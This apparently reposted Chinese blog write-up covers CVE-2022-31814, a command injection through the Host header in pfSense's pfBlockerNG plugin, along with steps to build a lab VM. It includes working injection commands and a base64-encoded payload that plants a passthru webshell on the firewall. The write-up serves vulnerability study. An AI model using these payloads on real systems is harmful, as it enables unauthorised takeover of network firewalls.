PfSense pfBlockerNG 未授权RCE漏洞(CVE-2022-31814)

2023-03-29 20:27:10     来源 : 博客园

PfSense pfBlockerNG 未授权RCE漏洞(CVE-2022-31814)

概述

PfSense系统的插件pfBlockerNG引起的未授权RCE漏洞

pfSense是一个基于FreeBSD操作系统开发的防火墙和路由器软件

FreeBSD 是一种类UNIX操作系统


【资料图】

pfBlockerNG是一个pfSense的插件(默认不安装),提供了广告、恶意内容和地理拦截功能。

版本

pfSense 2.6.0

pfBlockerNG<=2.1.4_26

漏洞代码分析

位置/usr/local/www/pfblockerng/www/index.php有如下代码:

// Query DNSBL(邮件黑名单) Alias for Domain List.$query = str_replace(".", "\.", htmlspecialchars($_SERVER["HTTP_HOST"])); exec("/usr/bin/grep -l " \"{$query} 60 IN A" /var/db/pfblockerng/dnsblalias/*", $match);

$_SERVER["HTTP_HOST"]是一个用户可控的输入,攻击者通过host 头来修改该参数

即/usr/bin/grep -l " "[用户可控] 60 IN A" /var/db/pfblockerng/dnsblalias/*

/usr/bin/grep

/usr/bin/grep "要匹配的字符串" "文件的路径"

-l, --files-with-matches print only names of FILEs containing matches,打印仅包含匹配项字符串的文件名

用法如下图:

拼接命令

验证payload可行性

/usr/bin/grep -l " \"" *; sleep 5 ;"60 IN A" /var/db/pfblockerng/dnsblalias/*

可见start response timer时间延迟了约5s

本地执行命令测试如下图

默认情况下,pfSense中没有安装“base64-d”二进制文件,但python3.8安装了,因此,我们能够编写和解码base64有效载荷,并将所有内容传输到php-cli二进制文件中:

测试的php代码

base64编码

PD9waHAgZWNobygiSEVMTCIpPz4K

python解码

python -m base64 -d

然后传输到php

| php

拼接起来的命令为:

/usr/bin/grep -l " \"" *;echo "PD9waHAgZWNobygiSEVMTCIpPz4K"|python3.8 -m base64 -d|php ;"60 IN A" /var/db/pfblockerng/dnsblalias/*

结果如图,成功解析php代码并输出了HELL

构造后门

php代码:

";fwrite($a,$t);fclose($a);?>

passthru函数

php端

$path="python 脚本绝对路径/脚本文件名.py "; //注意:末尾要加一个空格,否则传参失败$params = "要传入python脚本的参数"; //传递给python脚本的入口参数passthru($path.$params." ".$params2);

python端

import sysparams = sys.argv[1] #即为获取到的PHP传入python的接口参数

通过以上即可实现php通过passthru函数来调用执行Python脚本

base64编码

PD9waHAgJGE9Zm9wZW4oIi91c3IvbG9jYWwvd3d3L3N5c3RlbV9hZHZhbmNlZF9jb250cm9sLnBocCIsInciKSBvciBkaWUoKTskdD0nPD9waHAgcHJpbnQocGFzc3RocnUoICRfR0VUWyJjIl0pKTs/Pic7ZndyaXRlKCRhLCR0KTtmY2xvc2UoICRhKTs/Pgo=

拼接起来的命令为:

/usr/bin/grep -l " \"" *;echo "PD9waHAgJGE9Zm9wZW4oIi91c3IvbG9jYWwvd3d3L3N5c3RlbV9hZHZhbmNlZF9jb250cm9sLnBocCIsInciKSBvciBkaWUoKTskdD0nPD9waHAgcHJpbnQocGFzc3RocnUoICRfR0VUWyJjIl0pKTs/Pic7ZndyaXRlKCRhLCR0KTtmY2xvc2UoICRhKTs/Pgo="|python3.8 -m base64 -d|php ;"60 IN A" /var/db/pfblockerng/dnsblalias/*

成功注入

在网站上访问该木马文件,成功getshell

最后拿ihteam的脚本跑一下,成功rce

漏洞环境搭建

新建虚拟机,选择FreeBSD

配置如下,直接使用从官网下好的pfsense的iso文件

打开然后默认enter

安装好重启后,选2配置LAN的ip,配好后如下图:

然后浏览器直接输入192.168.153.139即可访问web界面

输入默认账户admin/pfsense完成登录

进入后选择配置向导

配置网络

到第四步配置如下:

后面默认,然后成功上网

启动SSH服务

系统-高级选项-管理员访问-安全shell下

启用安全ssh和允许代理转发的启用ssh-代理转发支持。然后xshell连接对应ip地址,用户是root即可连接

安装python开发环境

[2.6.0-RELEASE][root@pfSense.home.arpa]/etc/pkg: pkg search pythonfrr7-pythontools-7.5.1_3       Provide configuration reload functionality for FRRpy38-gitpython-3.1.24          Python Git Librarypython38-3.8.12_1              Interpreted object-oriented programming langua[2.6.0-RELEASE][root@pfSense.home.arpa]/etc/pkg: pkg install python38-3.8.12_1

试了python,python3,python38都没找到指令

最后进入/usr/local/bin目录下查看,发现是python3.8,如下图

配置pfBlockerNG插件

插件管理里搜索pfBlockerNG安装,只找到3.2.0_3版本的,先装上

github上找到2.1.4_26版本的pfBlockerNG插件

https://github.com/pfsense/FreeBSD-ports/tree/devel/net

https://github.com/pfsense/FreeBSD-ports/commit/b57e24307dd32679f55dd7e38dc29910168886a4

然后点进对应版本的freebsd-port下载

解压zip包的net/pfsense-pkg-pfBlockerNG,找到pfBlockerNG的index.php文件

ps:因为漏洞只出现在该文件中,所以直接把2.1.4_26版本的index.php文件下载下来上传到防火墙系统里覆盖已安装的3.2.0_3版本的index.php就行

在这个地方上传文件

成功上传返回路径

然后打开命令行,使新上传的index.php文件直接覆盖3.2.0_3版本的

mv /tmp/index.php /usr/local/www/pfblockerng/www/index.php

参考链接

PfSense pfBlockerNG 未授权RCE漏洞(CVE-2022-31814)

PHP通过passthru()函数实现与python脚本的交互

payload:pfBlockerNG 2.1.4_26 - 远程代码执行 (RCE) - PHP 网络应用程序漏洞利用 (exploit-db.com)

开源防火墙pfSense的安装及初始化

pfsense配置网络

标签:

推荐文章

最新资讯